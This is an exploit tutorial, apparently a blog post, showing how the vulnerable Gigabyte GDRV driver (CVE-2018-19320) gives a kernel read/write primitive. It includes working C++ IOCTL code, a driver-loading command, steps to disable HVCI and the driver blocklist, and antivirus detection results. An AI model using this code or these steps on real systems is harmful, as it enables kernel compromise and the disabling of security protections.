Exploiting a Kernel Read/Write Primitive using BYOVD

Exploiting a Kernel Read/Write Primitive using BYOVD

Original text by S12 – 0x12Dark Development

 In today’s article, we will look at how kernel read and write primitives can be exploited using a BYOVD (Bring Your Own Vulnerable Driver). To demonstrate this, I will use a classic vulnerable driver called GDRV, which was exploited in CVE-2018–19320.

What exactly is a Kernel Read/Write Primitive?

kernel read primitive refers to the ability to read arbitrary data from a memory address while executing in kernel mode. This allows an attacker to inspect memory contents that would normally be inaccessible from user mode, including sensitive kernel structures or protected process memory.

kernel write primitive, on the other hand, refers to the ability to write arbitrary data to a memory address from kernel mode. In other words, it allows an attacker to control both what value is written and where it is written in memory.

Although these primitives are commonly associated with kernel memory access, this is not strictly the case. Since the operations are performed from kernel mode, they can also be used to read from or modify memory belonging to user‑mode processes

In this post, we will demonstrate both arbitrary read and write primitivesexposed by the vulnerable driver. We will start with simple examples operating on user‑mode memory within the same process that issued the IOCTL request, which makes it easier to understand how the primitive behaves and how data flows between user mode and the driver.

After that, we will extend the demonstration to read from kernel memory, specifically from the KUSER_SHARED_DATA structure, which resides at a fixed virtual address and contains various system‑wide information exposed by the kernel.

While these examples are intentionally simple, the real impact of these primitives lies in the fact that they allow an attacker to read or modify arbitrary addresses in kernel memory. This capability enables powerful exploitation techniques such as information disclosure, privilege escalation, kernel object manipulation, and disabling security protections.

So let’s start 😉

Press enter or click to view image in full size

Introduction

Technique Details

The driver can be directly downloaded from the LolDrivers website, following this link:

https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/?source=post_page—–977d7b7dfc01—————————————

To load this driver, you will need to disable Windows Memory Integrity and the Microsoft Vulnerable Driver Blocklist, both part of the Kernel Isolationsecurity feature.

But why is this necessary?

This is required because modern versions of Windows include several protections designed to prevent the loading of known vulnerable drivers. Memory Integrity (also known as HVCI) enforces stricter kernel-mode code integrity policies, while the Microsoft Vulnerable Driver Blocklist explicitly blocks drivers that are known to contain security vulnerabilities. Since GDRVis associated with CVE-2018–19323, it is included in this blocklist, preventing it from being loaded unless these protections are disabled

Of course, there are many other vulnerable drivers that expose write primitives and are not included in the Microsoft Vulnerable Driver Blocklist. However, for this public post, I will use a well-known example to demonstrate the technique.

Methodology

To achieve the kernel write primitive capability, we need to follow these logical steps:

  1. Load driver: First, we need to load the vulnerable driver into the system so that we can interact with it from user mode. This typically involves installing the driver and opening a handle to its device interface
  2. Find the primitive: Once we have access to the driver, we need to identify the vulnerable IOCTL handler that exposes the read and write primitive. This usually involves reversing the driver (in our case this driver it’s already reversed) to understand how user-controlled input is processed and determining whether it allows writing to arbitrary memory addresses
  3. Exploit the primitive: Finally, we craft a user-mode program that sends the appropriate IOCTL request with controlled parameters, allowing us to trigger the vulnerability and perform the desired memory write operation

Visual Diagram:

User Application


Open Handle to Vulnerable Driver


Send Crafted IOCTL


Vulnerable IOCTL Handler


Arbitrary Memory Write


Kernel Write Primitive Achieved

Implementation

Now, let’s look at how to translate that logic into C++ code. I have broken down the most important parts.

To implement this we just need to open a handle to the driver, using something like this:

HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE)
{
 cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
 return 1;
}

And then we can just call the IOCTL code that writes a destination address from the kernel driver:

typedef struct KernelWritePrimitive {
 LPVOID dst;
 LPVOID src;
 DWORD size;
} KernelWritePrimitive;

BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
 KernelWritePrimitive kwp;
 kwp.dst = dst;
 kwp.src = src;
 kwp.size = size;

 BYTE bufferReturned[48] = { 0 };
 DWORD returned = 0;
 BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
 if (!result) {
  cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
  return FALSE;
 }
 cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
 return TRUE;
}

And we don’t need anything more to exploit the write primitive let’s check the complete code

Just the same for the read one:

typedef struct KernelReadPrimitive {
 LPVOID dst;
 LPVOID src;
 DWORD size;
} KernelReadPrimitive;

BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
 KernelReadPrimitive krp;
 krp.dst = dst;
 krp.src = src;
 krp.size = size;
 
 DWORD returned = 0;

 BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
 if (!result) {
  cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
  return FALSE;
 }
 cout << "Read primitive sent successfully. Bytes returned: " << returned << endl;
 return TRUE;
}

Code:

#include <iostream>
#include <Windows.h>

// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/

#define IOCTL_READWRITE_PRIMITIVE 0xC3502808

using namespace std;

typedef struct KernelWritePrimitive {
 LPVOID dst;
 LPVOID src;
 DWORD size;
} KernelWritePrimitive;

typedef struct KernelReadPrimitive {
 LPVOID dst;
 LPVOID src;
 DWORD size;
} KernelReadPrimitive;

BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
 KernelWritePrimitive kwp;
 kwp.dst = dst;
 kwp.src = src;
 kwp.size = size;

 BYTE bufferReturned[48] = { 0 };
 DWORD returned = 0;
 BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
 if (!result) {
  cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
  return FALSE;
 }
 cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
 return TRUE;
}

BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
 KernelReadPrimitive krp;
 krp.dst = dst;
 krp.src = src;
 krp.size = size;
 
 
 DWORD returned = 0;

 BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
 if (!result) {
  cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
  return FALSE;
 }
 cout << "Read primitive sent successfully. Bytes returned: " << returned << endl;
 return TRUE;
}


int main(){
    cout << "!====================================================================!\n";
 cout << "!                       //////GDRV - BYOVD//////                     !\n";
 cout << "!====================================================================!\n\n";


 HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
 if (!driver || driver == INVALID_HANDLE_VALUE)
 {
  cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
  return 1;
 }

 
 // Allocate memory in the user space to write data to
 // Of course, in a real exploit, you would want to target a specific kernel address instead of user space memory, but this is just an example of how to use the write primitive.
 LPVOID memAddress = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 if (!memAddress) {
  cout << "Failed to allocate memory. Error code: " << GetLastError() << endl;
  CloseHandle(driver);
  return 1;
 }

 BYTE dataToWrite[16] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 }; // NOP sled as example data
 if (!WritePrimitive(driver, memAddress, dataToWrite, sizeof(dataToWrite))) {
  VirtualFree(memAddress, 0, MEM_RELEASE);
  CloseHandle(driver);
  return 1;
 }

 cout << "Data written to memory address: " << memAddress << endl;
 getchar();


 // read back the data we just wrote to verify that the read primitive works
 BYTE dataRead[16] = { 0 };
 if (!ReadPrimitive(driver, dataRead, memAddress, sizeof(dataRead))) {
  VirtualFree(memAddress, 0, MEM_RELEASE);
  CloseHandle(driver);
  return 1;
 }
 cout << "Data read from memory address: " << memAddress << endl;
 for (int i = 0; i < sizeof(dataRead); i++) {
  printf("%02X ", dataRead[i]);
 }

 getchar();

 cout << "Read data from the kernel KUSER_SHARED_DATA" << endl;
 // read from the KUSER_SHARED_DATA structure to demonstrate reading from a kernel address. The KUSER_SHARED_DATA structure is located at a fixed address in the kernel and contains various system information.
 LPVOID kuser_shared_data = (LPVOID)0xFFFFF78000000000; // Address of KUSER_SHARED_DATA
 LPVOID offsetBuild = (LPVOID)((BYTE*)kuser_shared_data + 0x260);
 BYTE kuserData[4] = { 0 };
 if (!ReadPrimitive(driver, kuserData, offsetBuild, sizeof(kuserData))) {
  VirtualFree(memAddress, 0, MEM_RELEASE);
  CloseHandle(driver);
  return 1;
 }
 cout << "Data read from KUSER_SHARED_DATA:" << endl;
 for (int i = 0; i < sizeof(kuserData); i++) {
  printf("%02X ", kuserData[i]);
 }
 getchar();

 VirtualFree(memAddress, 0, MEM_RELEASE);
 CloseHandle(driver);
 return 0;
}

Once we have implemented the WritePrimitive and ReadPrimitivefunctions, the rest of the program is mainly responsible for preparing the environment and demonstrating how both primitives can be used

The code interacts with the vulnerable driver through the IOCTL 0xC3502808, which is associated with the vulnerable functionality in the Gigabyte driver exploited in CVE-2018-19320

Both primitives rely on sending a small structure to the driver using DeviceIoControl. The structure simply contains three fields:

  • dst: destination memory address
  • src: source memory address
  • size: number of bytes to copy

The vulnerable driver trusts these user‑controlled values and performs the copy operation in kernel mode.

Internally, the behavior is something like:

memcpy(dst, src, size)

First, the program allocates a region of memory in user space using VirtualAlloc:

LPVOID memAddress = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

This allocates 0x1000 bytes (one memory page) with read and write permissions. In this example, the allocated memory will be used as the destination address for the write primitive.

Although this memory belongs to the current user-mode process, the write operation will still be performed by the vulnerable driver from kernel mode.

Next, we prepare the data that will be written:

BYTE dataToWrite[16] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };

This buffer contains 16 bytes of 0x90, which corresponds to the NOP instruction in x86/x64. Here it is simply used as example data to demonstrate that the write primitive works correctly.

The primitive is then triggered with the following call:

WritePrimitive(driver, memAddress, dataToWrite, sizeof(dataToWrite));

This sends the crafted structure to the driver via DeviceIoControl, causing the vulnerable IOCTL handler to copy size bytes from src to dst

To confirm that the write was successful, the program immediately uses the read primitive to retrieve the contents of the same memory region:

ReadPrimitive(driver, dataRead, memAddress, sizeof(dataRead));

This performs the reverse operation: the driver copies memory from the target address (src) into a buffer controlled by the user (dst). The program then prints the returned bytes to confirm that the values match the original data

This simple verification step demonstrates how the driver exposes both arbitrary read and write capabilities

Reading from Kernel Memory

After validating the primitives using user‑mode memory, the program proceeds to demonstrate a kernel memory read.

The target in this example is the KUSER_SHARED_DATA structure, located at the fixed virtual address:

0xFFFFF78000000000

This structure is mapped into every process and contains various system information maintained by the Windows kernel

The code reads data from an offset inside this structure:

LPVOID offsetBuild = (LPVOID)((BYTE*)kuser_shared_data + 0x260);

You can easily get this offset running in WinDBG app using the following command:

dt nt!_KUSER_SHARED_DATA

The read primitive is then used to copy data from this kernel address into a user buffer:

ReadPrimitive(driver, kuserData, offsetBuild, sizeof(kuserData));

And that’s all

Proof of Concept

Windows 11:

We start loading the driver:

sc.exe create gdrv.sys binPath=C:\windows\temp\gdrv.sys type=kernel && sc.exe start gdrv.sys

And then we just execute the code:

Let’s see the memory address content with System Informer app:

And the memory was copied!

Now let’s run both read operations:

Write primitive sent successfully. Bytes returned: 0
Data written to memory address: 000001C718A80000

Read primitive sent successfully. Bytes returned: 0
Data read from memory address: 000001C718A80000
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
Read data from the kernel KUSER_SHARED_DATA
Read primitive sent successfully. Bytes returned: 0
Data read from KUSER_SHARED_DATA:
58 66 00 00

And then just compare the build with our real build (it is in little indian format) for this reason we need to reverse the bytes to 6658 instead of 5866:

Alright it’s all correct!

Detection

Now it’s time to see if the defenses are detecting this vulnerable driver as malicious

Litterbox

Static:

Yara rules triggered:

SIGNATURE_BASE_VULN_PUA_GIGABYTE_Driver_Jul22_1
Windows_VulnDriver_GDrv_5368078b

Holygrails:

Windows Defender

Detected!

Elastic EDR

Detected!

Kaspersky Free AV

Detected!

Bitdefender Free AV

Detected!

Conclusions

The BYOVD technique remains a powerful method for achieving kernel-level capabilities by abusing legitimately signed but vulnerable drivers. In this post, we demonstrated how the GDRV driver (CVE-2018–19320) can expose a kernel read/write primitive, allowing an attacker to write arbitrary data to a chosen memory address

Comments are closed.